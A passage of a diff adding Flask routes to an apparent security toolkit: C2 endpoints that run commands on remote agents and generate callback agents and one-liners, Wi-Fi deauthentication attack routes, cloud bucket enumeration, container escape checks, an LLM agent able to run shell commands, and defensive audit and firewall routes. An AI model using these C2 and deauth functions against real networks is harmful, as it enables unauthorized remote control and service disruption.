@c2_framework_bp.route('/c2/agents/<agent_id>/exec', methods=['POST'])
@login_required
def exec_command(agent_id):
data = request.get_json(silent=True) or {}
command = data.get('command', '')
if not command:
return jsonify({'ok': False, 'error': 'No command'})
return jsonify(_svc().execute_command(agent_id, command))
@c2_framework_bp.route('/c2/agents/<agent_id>/download', methods=['POST'])
@login_required
def download_file(agent_id):
data = request.get_json(silent=True) or {}
path = data.get('path', '')
if not path:
return jsonify({'ok': False, 'error': 'No path'})
return jsonify(_svc().download_file(agent_id, path))
@c2_framework_bp.route('/c2/agents/<agent_id>/upload', methods=['POST'])
@login_required
def upload_file(agent_id):
f = request.files.get('file')
data = request.form
path = data.get('path', '')
if not f or not path:
return jsonify({'ok': False, 'error': 'File and path required'})
return jsonify(_svc().upload_file(agent_id, path, f.read()))
@c2_framework_bp.route('/c2/tasks/<task_id>', methods=['GET'])
@login_required
def task_result(task_id):
return jsonify(_svc().get_task_result(task_id))
@c2_framework_bp.route('/c2/tasks', methods=['GET'])
@login_required
def list_tasks():
agent_id = request.args.get('agent_id', '')
return jsonify({'ok': True, 'tasks': _svc().list_tasks(agent_id)})
# ── Agent Generation ──────────────────────────────────────────────────────────
@c2_framework_bp.route('/c2/generate', methods=['POST'])
@login_required
def generate_agent():
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
if not host:
return jsonify({'ok': False, 'error': 'Callback host required'})
result = _svc().generate_agent(
host=host,
port=data.get('port', 4444),
agent_type=data.get('type', 'python'),
interval=data.get('interval', 5),
jitter=data.get('jitter', 2),
)
# Don't send filepath in API response
result.pop('filepath', None)
return jsonify(result)
@c2_framework_bp.route('/c2/oneliner', methods=['POST'])
@login_required
def get_oneliner():
data = request.get_json(silent=True) or {}
host = data.get('host', '').strip()
if not host:
return jsonify({'ok': False, 'error': 'Host required'})
return jsonify(_svc().get_oneliner(host, data.get('port', 4444),
data.get('type', 'python')))

283
web/routes/chat.py Normal file
View File

@@ -0,0 +1,283 @@
"""Chat and Agent API routes — Hal chat with Agent system for module creation."""
import json
import threading
import time
import uuid
from pathlib import Path
from flask import Blueprint, request, jsonify, Response
from web.auth import login_required
chat_bp = Blueprint('chat', __name__, url_prefix='/api')
_agent_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': threading.Event}
_system_prompt = None
def _get_system_prompt():
"""Load the Hal system prompt from data/hal_system_prompt.txt."""
global _system_prompt
if _system_prompt is None:
prompt_path = Path(__file__).parent.parent.parent / 'data' / 'hal_system_prompt.txt'
if prompt_path.exists():
_system_prompt = prompt_path.read_text(encoding='utf-8')
else:
_system_prompt = (
"You are Hal, the AI agent for AUTARCH. You can create new modules, "
"run shell commands, read and write files. When asked to create a module, "
"use the create_module tool."
)
return _system_prompt
def _ensure_model_loaded():
"""Load the LLM model if not already loaded. Returns (llm, error)."""
from core.llm import get_llm, LLMError
llm = get_llm()
if not llm.is_loaded:
try:
llm.load_model(verbose=False)
except LLMError as e:
return None, str(e)
return llm, None
@chat_bp.route('/chat', methods=['POST'])
@login_required
def chat():
"""Handle chat messages — direct chat or agent mode based on user toggle.
Streams response via SSE."""
data = request.get_json(silent=True) or {}
message = data.get('message', '').strip()
mode = data.get('mode', 'chat') # 'chat' (default) or 'agent'
if not message:
return jsonify({'error': 'No message provided'})
if mode == 'agent':
return _handle_agent_chat(message)
else:
return _handle_direct_chat(message)
def _handle_direct_chat(message):
"""Direct chat mode — streams tokens from the LLM without the Agent system."""
def generate():
from core.llm import get_llm, LLMError
llm = get_llm()
if not llm.is_loaded:
yield f"data: {json.dumps({'type': 'status', 'content': 'Loading model...'})}\n\n"
try:
llm.load_model(verbose=False)
except LLMError as e:
yield f"data: {json.dumps({'type': 'error', 'content': f'Failed to load model: {e}'})}\n\n"
yield f"data: {json.dumps({'done': True})}\n\n"
return
system_prompt = _get_system_prompt()
try:
token_gen = llm.chat(message, system_prompt=system_prompt, stream=True)
for token in token_gen:
yield f"data: {json.dumps({'token': token})}\n\n"
except LLMError as e:
yield f"data: {json.dumps({'type': 'error', 'content': str(e)})}\n\n"
yield f"data: {json.dumps({'done': True})}\n\n"
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
def _handle_agent_chat(message):
"""Agent mode — uses the Agent system with tools for complex tasks."""
run_id = str(uuid.uuid4())
stop_event = threading.Event()
steps = []
_agent_runs[run_id] = {'steps': steps, 'done': False, 'stop': stop_event}
def worker():
try:
from core.agent import Agent
from core.tools import get_tool_registry
from core.llm import get_llm, LLMError
llm = get_llm()
if not llm.is_loaded:
steps.append({'type': 'status', 'content': 'Loading model...'})
try:
llm.load_model(verbose=False)
except LLMError as e:
steps.append({'type': 'error', 'content': f'Failed to load model: {e}'})
return
tools = get_tool_registry()
agent = Agent(llm=llm, tools=tools, max_steps=20, verbose=False)
# Inject system prompt into agent
system_prompt = _get_system_prompt()
agent.SYSTEM_PROMPT = system_prompt + "\n\n{tools_description}"
def on_step(step):
if step.thought:
steps.append({'type': 'thought', 'content': step.thought})
if step.tool_name and step.tool_name not in ('task_complete', 'ask_user'):
steps.append({'type': 'action', 'content': f"{step.tool_name}({json.dumps(step.tool_args or {})})"})
if step.tool_result:
result = step.tool_result
if len(result) > 800:
result = result[:800] + '...'
steps.append({'type': 'result', 'content': result})
result = agent.run(message, step_callback=on_step)
if result.success:
steps.append({'type': 'answer', 'content': result.summary})
else:
steps.append({'type': 'error', 'content': result.error or result.summary})
except Exception as e:
steps.append({'type': 'error', 'content': str(e)})
finally:
_agent_runs[run_id]['done'] = True
threading.Thread(target=worker, daemon=True).start()
# Stream the agent steps as SSE
def generate():
run = _agent_runs.get(run_id)
if not run:
yield f"data: {json.dumps({'error': 'Run not found'})}\n\n"
return
sent = 0
while True:
current_steps = run['steps']
while sent < len(current_steps):
yield f"data: {json.dumps(current_steps[sent])}\n\n"
sent += 1
if run['done']:
yield f"data: {json.dumps({'done': True})}\n\n"
return
time.sleep(0.15)
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@chat_bp.route('/chat/reset', methods=['POST'])
@login_required
def chat_reset():
"""Clear LLM conversation history."""
try:
from core.llm import get_llm
llm = get_llm()
if hasattr(llm, 'clear_history'):
llm.clear_history()
elif hasattr(llm, 'reset'):
llm.reset()
elif hasattr(llm, 'conversation_history'):
llm.conversation_history = []
except Exception:
pass
return jsonify({'ok': True})
@chat_bp.route('/chat/status')
@login_required
def chat_status():
"""Get LLM model status."""
try:
from core.llm import get_llm
llm = get_llm()
return jsonify({
'loaded': llm.is_loaded,
'model': llm.model_name if llm.is_loaded else None,
})
except Exception as e:
return jsonify({'loaded': False, 'error': str(e)})
@chat_bp.route('/agent/run', methods=['POST'])
@login_required
def agent_run():
"""Start an autonomous agent run in a background thread. Returns run_id."""
data = request.get_json(silent=True) or {}
task = data.get('task', '').strip()
if not task:
return jsonify({'error': 'No task provided'})
run_id = str(uuid.uuid4())
stop_event = threading.Event()
steps = []
_agent_runs[run_id] = {'steps': steps, 'done': False, 'stop': stop_event}
def worker():
try:
from core.agent import Agent
from core.tools import get_tool_registry
from core.llm import get_llm, LLMError
llm = get_llm()
if not llm.is_loaded:
try:
llm.load_model(verbose=False)
except LLMError as e:
steps.append({'type': 'error', 'content': f'Failed to load model: {e}'})
return
tools = get_tool_registry()
agent = Agent(llm=llm, tools=tools, verbose=False)
# Inject system prompt
system_prompt = _get_system_prompt()
agent.SYSTEM_PROMPT = system_prompt + "\n\n{tools_description}"
def on_step(step):
steps.append({'type': 'thought', 'content': step.thought})
if step.tool_name and step.tool_name not in ('task_complete', 'ask_user'):
steps.append({'type': 'action', 'content': f"{step.tool_name}({json.dumps(step.tool_args or {})})"})
if step.tool_result:
steps.append({'type': 'result', 'content': step.tool_result[:800]})
agent.run(task, step_callback=on_step)
except Exception as e:
steps.append({'type': 'error', 'content': str(e)})
finally:
_agent_runs[run_id]['done'] = True
threading.Thread(target=worker, daemon=True).start()
return jsonify({'run_id': run_id})
@chat_bp.route('/agent/stream/<run_id>')
@login_required
def agent_stream(run_id):
"""SSE stream of agent steps for a given run_id."""
def generate():
run = _agent_runs.get(run_id)
if not run:
yield f"data: {json.dumps({'error': 'Run not found'})}\n\n"
return
sent = 0
while True:
current_steps = run['steps']
while sent < len(current_steps):
yield f"data: {json.dumps(current_steps[sent])}\n\n"
sent += 1
if run['done']:
yield f"data: {json.dumps({'done': True})}\n\n"
return
time.sleep(0.15)
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
@chat_bp.route('/agent/stop/<run_id>', methods=['POST'])
@login_required
def agent_stop(run_id):
"""Signal a running agent to stop."""
run = _agent_runs.get(run_id)
if run:
run['stop'].set()
run['done'] = True
return jsonify({'stopped': bool(run)})

60
web/routes/cloud_scan.py Normal file
View File

@@ -0,0 +1,60 @@
"""Cloud Security Scanner routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
cloud_scan_bp = Blueprint('cloud_scan', __name__, url_prefix='/cloud')
def _get_scanner():
from modules.cloud_scan import get_cloud_scanner
return get_cloud_scanner()
@cloud_scan_bp.route('/')
@login_required
def index():
return render_template('cloud_scan.html')
@cloud_scan_bp.route('/s3/enum', methods=['POST'])
@login_required
def s3_enum():
data = request.get_json(silent=True) or {}
job_id = _get_scanner().enum_s3_buckets(
data.get('keyword', ''), data.get('prefixes'), data.get('suffixes')
)
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@cloud_scan_bp.route('/gcs/enum', methods=['POST'])
@login_required
def gcs_enum():
data = request.get_json(silent=True) or {}
job_id = _get_scanner().enum_gcs_buckets(data.get('keyword', ''))
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@cloud_scan_bp.route('/azure/enum', methods=['POST'])
@login_required
def azure_enum():
data = request.get_json(silent=True) or {}
job_id = _get_scanner().enum_azure_blobs(data.get('keyword', ''))
return jsonify({'ok': bool(job_id), 'job_id': job_id})
@cloud_scan_bp.route('/services', methods=['POST'])
@login_required
def exposed_services():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().scan_exposed_services(data.get('target', '')))
@cloud_scan_bp.route('/metadata')
@login_required
def metadata():
return jsonify(_get_scanner().check_metadata_access())
@cloud_scan_bp.route('/subdomains', methods=['POST'])
@login_required
def subdomains():
data = request.get_json(silent=True) or {}
return jsonify(_get_scanner().enum_cloud_subdomains(data.get('domain', '')))
@cloud_scan_bp.route('/job/<job_id>')
@login_required
def job_status(job_id):
job = _get_scanner().get_job(job_id)
return jsonify(job or {'error': 'Job not found'})

176
web/routes/container_sec.py Normal file
View File

@@ -0,0 +1,176 @@
"""Container Security routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
container_sec_bp = Blueprint('container_sec', __name__, url_prefix='/container-sec')
def _get_cs():
from modules.container_sec import get_container_sec
return get_container_sec()
# ── Pages ────────────────────────────────────────────────────────────────────
@container_sec_bp.route('/')
@login_required
def index():
return render_template('container_sec.html')
# ── Status ───────────────────────────────────────────────────────────────────
@container_sec_bp.route('/status')
@login_required
def status():
"""Check Docker and kubectl availability."""
cs = _get_cs()
return jsonify({
'docker': cs.check_docker_installed(),
'kubectl': cs.check_kubectl_installed(),
})
# ── Docker: Host Audit ──────────────────────────────────────────────────────
@container_sec_bp.route('/docker/audit', methods=['POST'])
@login_required
def docker_audit():
"""Audit Docker host configuration."""
findings = _get_cs().audit_docker_host()
return jsonify({'findings': findings, 'total': len(findings)})
# ── Docker: Containers ──────────────────────────────────────────────────────
@container_sec_bp.route('/docker/containers')
@login_required
def docker_containers():
"""List Docker containers."""
containers = _get_cs().list_containers(all=True)
return jsonify({'containers': containers, 'total': len(containers)})
@container_sec_bp.route('/docker/containers/<container_id>/audit', methods=['POST'])
@login_required
def docker_container_audit(container_id):
"""Audit a specific container."""
result = _get_cs().audit_container(container_id)
return jsonify(result)
@container_sec_bp.route('/docker/containers/<container_id>/escape', methods=['POST'])
@login_required
def docker_container_escape(container_id):
"""Check container escape vectors."""
result = _get_cs().check_escape_vectors(container_id)
return jsonify(result)
# ── Docker: Images ───────────────────────────────────────────────────────────
@container_sec_bp.route('/docker/images')
@login_required
def docker_images():
"""List local Docker images."""
images = _get_cs().list_images()
return jsonify({'images': images, 'total': len(images)})
@container_sec_bp.route('/docker/images/scan', methods=['POST'])
@login_required
def docker_image_scan():
"""Scan a Docker image for vulnerabilities."""
data = request.get_json(silent=True) or {}
image_name = data.get('image_name', '').strip()
if not image_name:
return jsonify({'error': 'No image name provided'}), 400
result = _get_cs().scan_image(image_name)
return jsonify(result)
# ── Dockerfile Lint ──────────────────────────────────────────────────────────
@container_sec_bp.route('/docker/lint', methods=['POST'])
@login_required
def docker_lint():
"""Lint Dockerfile content for security issues."""
data = request.get_json(silent=True) or {}
content = data.get('content', '')
if not content.strip():
return jsonify({'error': 'No Dockerfile content provided'}), 400
findings = _get_cs().lint_dockerfile(content)
return jsonify({'findings': findings, 'total': len(findings)})
# ── Kubernetes: Namespaces & Pods ────────────────────────────────────────────
@container_sec_bp.route('/k8s/namespaces')
@login_required
def k8s_namespaces():
"""List Kubernetes namespaces."""
namespaces = _get_cs().k8s_get_namespaces()
return jsonify({'namespaces': namespaces, 'total': len(namespaces)})
@container_sec_bp.route('/k8s/pods')
@login_required
def k8s_pods():
"""List pods in a namespace."""
namespace = request.args.get('namespace', 'default')
pods = _get_cs().k8s_get_pods(namespace=namespace)
return jsonify({'pods': pods, 'total': len(pods)})
@container_sec_bp.route('/k8s/pods/<name>/audit', methods=['POST'])
@login_required
def k8s_pod_audit(name):
"""Audit a specific pod."""
data = request.get_json(silent=True) or {}
namespace = data.get('namespace', 'default')
result = _get_cs().k8s_audit_pod(name, namespace=namespace)
return jsonify(result)
# ── Kubernetes: RBAC, Secrets, Network Policies ──────────────────────────────
@container_sec_bp.route('/k8s/rbac', methods=['POST'])
@login_required
def k8s_rbac():
"""Audit RBAC configuration."""
data = request.get_json(silent=True) or {}
namespace = data.get('namespace') or None
result = _get_cs().k8s_audit_rbac(namespace=namespace)
return jsonify(result)
@container_sec_bp.route('/k8s/secrets', methods=['POST'])
@login_required
def k8s_secrets():
"""Check secrets exposure."""
data = request.get_json(silent=True) or {}
namespace = data.get('namespace', 'default')
result = _get_cs().k8s_check_secrets(namespace=namespace)
return jsonify(result)
@container_sec_bp.route('/k8s/network', methods=['POST'])
@login_required
def k8s_network():
"""Check network policies."""
data = request.get_json(silent=True) or {}
namespace = data.get('namespace', 'default')
result = _get_cs().k8s_check_network_policies(namespace=namespace)
return jsonify(result)
# ── Export ───────────────────────────────────────────────────────────────────
@container_sec_bp.route('/export')
@login_required
def export():
"""Export all audit results."""
fmt = request.args.get('format', 'json')
result = _get_cs().export_results(fmt=fmt)
return jsonify(result)

96
web/routes/counter.py Normal file
View File

@@ -0,0 +1,96 @@
"""Counter-intelligence category route - threat detection and login analysis endpoints."""
from flask import Blueprint, render_template, request, jsonify
from web.auth import login_required
counter_bp = Blueprint('counter', __name__, url_prefix='/counter')
@counter_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'counter'}
return render_template('counter.html', modules=modules)
@counter_bp.route('/scan', methods=['POST'])
@login_required
def scan():
"""Run full threat scan."""
from modules.counter import Counter as CounterModule
c = CounterModule()
c.check_suspicious_processes()
c.check_network_connections()
c.check_login_anomalies()
c.check_file_integrity()
c.check_scheduled_tasks()
c.check_rootkits()
high = sum(1 for t in c.threats if t['severity'] == 'high')
medium = sum(1 for t in c.threats if t['severity'] == 'medium')
low = sum(1 for t in c.threats if t['severity'] == 'low')
return jsonify({
'threats': c.threats,
'summary': f'{len(c.threats)} threats found ({high} high, {medium} medium, {low} low)',
})
@counter_bp.route('/check/<check_name>', methods=['POST'])
@login_required
def check(check_name):
"""Run individual threat check."""
from modules.counter import Counter as CounterModule
c = CounterModule()
checks_map = {
'processes': c.check_suspicious_processes,
'network': c.check_network_connections,
'logins': c.check_login_anomalies,
'integrity': c.check_file_integrity,
'tasks': c.check_scheduled_tasks,
'rootkits': c.check_rootkits,
}
func = checks_map.get(check_name)
if not func:
return jsonify({'error': f'Unknown check: {check_name}'}), 400
func()
if not c.threats:
return jsonify({'threats': [], 'message': 'No threats found'})
return jsonify({'threats': c.threats})
@counter_bp.route('/logins')
@login_required
def logins():
"""Login anomaly analysis with GeoIP enrichment."""
from modules.counter import Counter as CounterModule
c = CounterModule()
attempts = c.parse_auth_logs()
if not attempts:
return jsonify({'attempts': [], 'error': 'No failed login attempts found or could not read logs'})
# Enrich top 15 IPs with GeoIP
sorted_ips = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:15]
c.enrich_login_attempts({a.ip: a for a in sorted_ips}, show_progress=False)
result = []
for attempt in sorted_ips:
result.append({
'ip': attempt.ip,
'count': attempt.count,
'usernames': attempt.usernames[:10],
'country': attempt.country or '',
'city': attempt.city or '',
'isp': attempt.isp or '',
'hostname': attempt.hostname or '',
})
return jsonify({'attempts': result})

142
web/routes/dashboard.py Normal file
View File

@@ -0,0 +1,142 @@
"""Dashboard route - main landing page"""
import platform
import shutil
import socket
import time
from datetime import datetime
from pathlib import Path
from flask import Blueprint, render_template, current_app, jsonify
from markupsafe import Markup
from web.auth import login_required
dashboard_bp = Blueprint('dashboard', __name__)
def get_system_info():
info = {
'hostname': socket.gethostname(),
'platform': platform.platform(),
'python': platform.python_version(),
'arch': platform.machine(),
}
try:
info['ip'] = socket.gethostbyname(socket.gethostname())
except Exception:
info['ip'] = '127.0.0.1'
# Uptime
try:
with open('/proc/uptime') as f:
uptime_secs = float(f.read().split()[0])
days = int(uptime_secs // 86400)
hours = int((uptime_secs % 86400) // 3600)
info['uptime'] = f"{days}d {hours}h"
except Exception:
info['uptime'] = 'N/A'
return info
def get_tool_status():
from core.paths import find_tool
tools = {}
for tool in ['nmap', 'tshark', 'upnpc', 'msfrpcd', 'wg']:
tools[tool] = find_tool(tool) is not None
return tools
def get_module_counts():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
counts = {}
for name, info in menu.modules.items():
cat = info.category
counts[cat] = counts.get(cat, 0) + 1
counts['total'] = len(menu.modules)
return counts
@dashboard_bp.route('/')
@login_required
def index():
config = current_app.autarch_config
system = get_system_info()
tools = get_tool_status()
modules = get_module_counts()
# LLM status
llm_backend = config.get('autarch', 'llm_backend', fallback='local')
if llm_backend == 'transformers':
llm_model = config.get('transformers', 'model_path', fallback='')
elif llm_backend == 'claude':
llm_model = config.get('claude', 'model', fallback='')
elif llm_backend == 'huggingface':
llm_model = config.get('huggingface', 'model', fallback='')
else:
llm_model = config.get('llama', 'model_path', fallback='')
# UPnP status
upnp_enabled = config.get_bool('upnp', 'enabled', fallback=False)
return render_template('dashboard.html',
system=system,
tools=tools,
modules=modules,
llm_backend=llm_backend,
llm_model=llm_model,
upnp_enabled=upnp_enabled,
)
@dashboard_bp.route('/manual')
@login_required
def manual():
"""Render the user manual as HTML."""
manual_path = Path(__file__).parent.parent.parent / 'user_manual.md'
content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Manual not found'
try:
import markdown
html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc'])
except ImportError:
html = '<pre>' + content.replace('<', '&lt;') + '</pre>'
return render_template('manual.html', manual_html=Markup(html))
@dashboard_bp.route('/manual/windows')
@login_required
def manual_windows():
"""Render the Windows-specific user manual."""
manual_path = Path(__file__).parent.parent.parent / 'windows_manual.md'
content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Windows manual not found'
try:
import markdown
html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc'])
except ImportError:
html = '<pre>' + content.replace('<', '&lt;') + '</pre>'
return render_template('manual.html', manual_html=Markup(html))
@dashboard_bp.route('/api/modules/reload', methods=['POST'])
@login_required
def reload_modules():
"""Re-scan modules directory and return updated counts + module list."""
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
counts = {}
modules = []
for name, info in menu.modules.items():
cat = info.category
counts[cat] = counts.get(cat, 0) + 1
modules.append({
'name': name,
'category': cat,
'description': info.description,
'version': info.version,
})
counts['total'] = len(menu.modules)
return jsonify({'counts': counts, 'modules': modules, 'total': counts['total']})

133
web/routes/deauth.py Normal file
View File

@@ -0,0 +1,133 @@
"""Deauth Attack routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
deauth_bp = Blueprint('deauth', __name__, url_prefix='/deauth')
def _get_deauth():
from modules.deauth import get_deauth
return get_deauth()
@deauth_bp.route('/')
@login_required
def index():
return render_template('deauth.html')
@deauth_bp.route('/interfaces')
@login_required
def interfaces():
return jsonify({'interfaces': _get_deauth().get_interfaces()})
@deauth_bp.route('/monitor/start', methods=['POST'])
@login_required
def monitor_start():
data = request.get_json(silent=True) or {}
interface = data.get('interface', '').strip()
return jsonify(_get_deauth().enable_monitor(interface))
@deauth_bp.route('/monitor/stop', methods=['POST'])
@login_required
def monitor_stop():
data = request.get_json(silent=True) or {}
interface = data.get('interface', '').strip()
return jsonify(_get_deauth().disable_monitor(interface))
@deauth_bp.route('/scan/networks', methods=['POST'])
@login_required
def scan_networks():
data = request.get_json(silent=True) or {}
interface = data.get('interface', '').strip()
duration = int(data.get('duration', 10))
networks = _get_deauth().scan_networks(interface, duration)
return jsonify({'networks': networks, 'total': len(networks)})
@deauth_bp.route('/scan/clients', methods=['POST'])
@login_required
def scan_clients():
data = request.get_json(silent=True) or {}
interface = data.get('interface', '').strip()
target_bssid = data.get('target_bssid', '').strip() or None
duration = int(data.get('duration', 10))
clients = _get_deauth().scan_clients(interface, target_bssid, duration)
return jsonify({'clients': clients, 'total': len(clients)})
@deauth_bp.route('/attack/targeted', methods=['POST'])
@login_required
def attack_targeted():
data = request.get_json(silent=True) or {}
return jsonify(_get_deauth().deauth_targeted(
interface=data.get('interface', '').strip(),
target_bssid=data.get('bssid', '').strip(),
client_mac=data.get('client', '').strip(),
count=int(data.get('count', 10)),
interval=float(data.get('interval', 0.1))
))
@deauth_bp.route('/attack/broadcast', methods=['POST'])
@login_required
def attack_broadcast():
data = request.get_json(silent=True) or {}
return jsonify(_get_deauth().deauth_broadcast(
interface=data.get('interface', '').strip(),
target_bssid=data.get('bssid', '').strip(),
count=int(data.get('count', 10)),
interval=float(data.get('interval', 0.1))
))
@deauth_bp.route('/attack/multi', methods=['POST'])
@login_required
def attack_multi():
data = request.get_json(silent=True) or {}
return jsonify(_get_deauth().deauth_multi(
interface=data.get('interface', '').strip(),
targets=data.get('targets', []),
count=int(data.get('count', 10)),
interval=float(data.get('interval', 0.1))
))
@deauth_bp.route('/attack/continuous/start', methods=['POST'])
@login_required
def attack_continuous_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_deauth().start_continuous(
interface=data.get('interface', '').strip(),
target_bssid=data.get('bssid', '').strip(),
client_mac=data.get('client', '').strip() or None,
interval=float(data.get('interval', 0.5)),
burst=int(data.get('burst', 5))
))
@deauth_bp.route('/attack/continuous/stop', methods=['POST'])
@login_required
def attack_continuous_stop():
return jsonify(_get_deauth().stop_continuous())
@deauth_bp.route('/attack/status')
@login_required
def attack_status():
return jsonify(_get_deauth().get_attack_status())
@deauth_bp.route('/history')
@login_required
def history():
return jsonify({'history': _get_deauth().get_attack_history()})
@deauth_bp.route('/history', methods=['DELETE'])
@login_required
def history_clear():
return jsonify(_get_deauth().clear_history())

658
web/routes/defense.py Normal file
View File

@@ -0,0 +1,658 @@
"""Defense category routes — landing page, Linux defense, Windows defense, Threat Monitor."""
import re
import subprocess
import platform
import socket
import json
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
from web.auth import login_required
defense_bp = Blueprint('defense', __name__, url_prefix='/defense')
def _run_cmd(cmd, timeout=10):
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return result.returncode == 0, result.stdout.strip()
except Exception:
return False, ""
# ==================== LANDING PAGE ====================
@defense_bp.route('/')
@login_required
def index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'defense'}
# Gather system info for the landing page
sys_info = {
'platform': platform.system(),
'hostname': socket.gethostname(),
'os_version': platform.platform(),
}
try:
sys_info['ip'] = socket.gethostbyname(socket.gethostname())
except Exception:
sys_info['ip'] = '127.0.0.1'
return render_template('defense.html', modules=modules, sys_info=sys_info)
# ==================== LINUX DEFENSE ====================
@defense_bp.route('/linux')
@login_required
def linux_index():
from core.menu import MainMenu
menu = MainMenu()
menu.load_modules()
modules = {k: v for k, v in menu.modules.items() if v.category == 'defense'}
return render_template('defense_linux.html', modules=modules)
@defense_bp.route('/linux/audit', methods=['POST'])
@login_required
def linux_audit():
"""Run full Linux security audit."""
from modules.defender import Defender
d = Defender()
d.check_firewall()
d.check_ssh_config()
d.check_open_ports()
d.check_users()
d.check_permissions()
d.check_services()
d.check_fail2ban()
d.check_selinux()
passed = sum(1 for r in d.results if r['passed'])
total = len(d.results)
score = int((passed / total) * 100) if total > 0 else 0
return jsonify({
'score': score,
'passed': passed,
'total': total,
'checks': d.results
})
@defense_bp.route('/linux/check/<check_name>', methods=['POST'])
@login_required
def linux_check(check_name):
"""Run individual Linux security check."""
from modules.defender import Defender
d = Defender()
checks_map = {
'firewall': d.check_firewall,
'ssh': d.check_ssh_config,
'ports': d.check_open_ports,
'users': d.check_users,
'permissions': d.check_permissions,
'services': d.check_services,
'fail2ban': d.check_fail2ban,
'selinux': d.check_selinux,
}
func = checks_map.get(check_name)
if not func:
return jsonify({'error': f'Unknown check: {check_name}'}), 400
func()
return jsonify({'checks': d.results})
@defense_bp.route('/linux/firewall/rules')
@login_required
def linux_firewall_rules():
"""Get current iptables rules."""
success, output = _run_cmd("sudo iptables -L -n --line-numbers 2>/dev/null")
if success:
return jsonify({'rules': output})
return jsonify({'rules': 'Could not read iptables rules (need sudo privileges)'})
@defense_bp.route('/linux/firewall/block', methods=['POST'])
@login_required
def linux_firewall_block():
"""Block an IP address via iptables."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return jsonify({'error': 'Invalid IP address', 'success': False})
success, _ = _run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP")
if success:
return jsonify({'message': f'Blocked {ip}', 'success': True})
return jsonify({'error': f'Failed to block {ip} (need sudo)', 'success': False})
@defense_bp.route('/linux/firewall/unblock', methods=['POST'])
@login_required
def linux_firewall_unblock():
"""Unblock an IP address via iptables."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return jsonify({'error': 'Invalid IP address', 'success': False})
success, _ = _run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP")
if success:
return jsonify({'message': f'Unblocked {ip}', 'success': True})
return jsonify({'error': f'Failed to unblock {ip}', 'success': False})
@defense_bp.route('/linux/logs/analyze', methods=['POST'])
@login_required
def linux_logs_analyze():
"""Analyze auth and web logs (Linux)."""
from modules.defender import Defender
d = Defender()
auth_results = d._analyze_auth_log()
web_results = d._analyze_web_logs()
return jsonify({
'auth_results': auth_results[:20],
'web_results': web_results[:20],
})
# ==================== WINDOWS DEFENSE ====================
@defense_bp.route('/windows')
@login_required
def windows_index():
"""Windows defense sub-page."""
return render_template('defense_windows.html')
@defense_bp.route('/windows/audit', methods=['POST'])
@login_required
def windows_audit():
"""Run full Windows security audit."""
from modules.defender_windows import WindowsDefender
d = WindowsDefender()
d.check_firewall()
d.check_ssh_config()
d.check_open_ports()
d.check_updates()
d.check_users()
d.check_permissions()
d.check_services()
d.check_defender()
d.check_uac()
passed = sum(1 for r in d.results if r['passed'])
total = len(d.results)
score = int((passed / total) * 100) if total > 0 else 0
return jsonify({
'score': score,
'passed': passed,
'total': total,
'checks': d.results
})
@defense_bp.route('/windows/check/<check_name>', methods=['POST'])
@login_required
def windows_check(check_name):
"""Run individual Windows security check."""
from modules.defender_windows import WindowsDefender
d = WindowsDefender()
checks_map = {
'firewall': d.check_firewall,
'ssh': d.check_ssh_config,
'ports': d.check_open_ports,
'updates': d.check_updates,
'users': d.check_users,
'permissions': d.check_permissions,
'services': d.check_services,
'defender': d.check_defender,
'uac': d.check_uac,
}
func = checks_map.get(check_name)
if not func:
return jsonify({'error': f'Unknown check: {check_name}'}), 400
func()
return jsonify({'checks': d.results})
@defense_bp.route('/windows/firewall/rules')
@login_required
def windows_firewall_rules():
"""Get Windows Firewall rules."""
from modules.defender_windows import WindowsDefender
d = WindowsDefender()
success, output = d.get_firewall_rules()
if success:
return jsonify({'rules': output})
return jsonify({'rules': 'Could not read Windows Firewall rules (need admin privileges)'})
@defense_bp.route('/windows/firewall/block', methods=['POST'])
@login_required
def windows_firewall_block():
"""Block an IP via Windows Firewall."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
return jsonify({'error': 'Invalid IP address', 'success': False})
from modules.defender_windows import WindowsDefender
d = WindowsDefender()
success, message = d.block_ip(ip)
return jsonify({'message': message, 'success': success})
@defense_bp.route('/windows/firewall/unblock', methods=['POST'])
@login_required
def windows_firewall_unblock():
"""Unblock an IP via Windows Firewall."""
data = request.get_json(silent=True) or {}
ip = data.get('ip', '').strip()
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
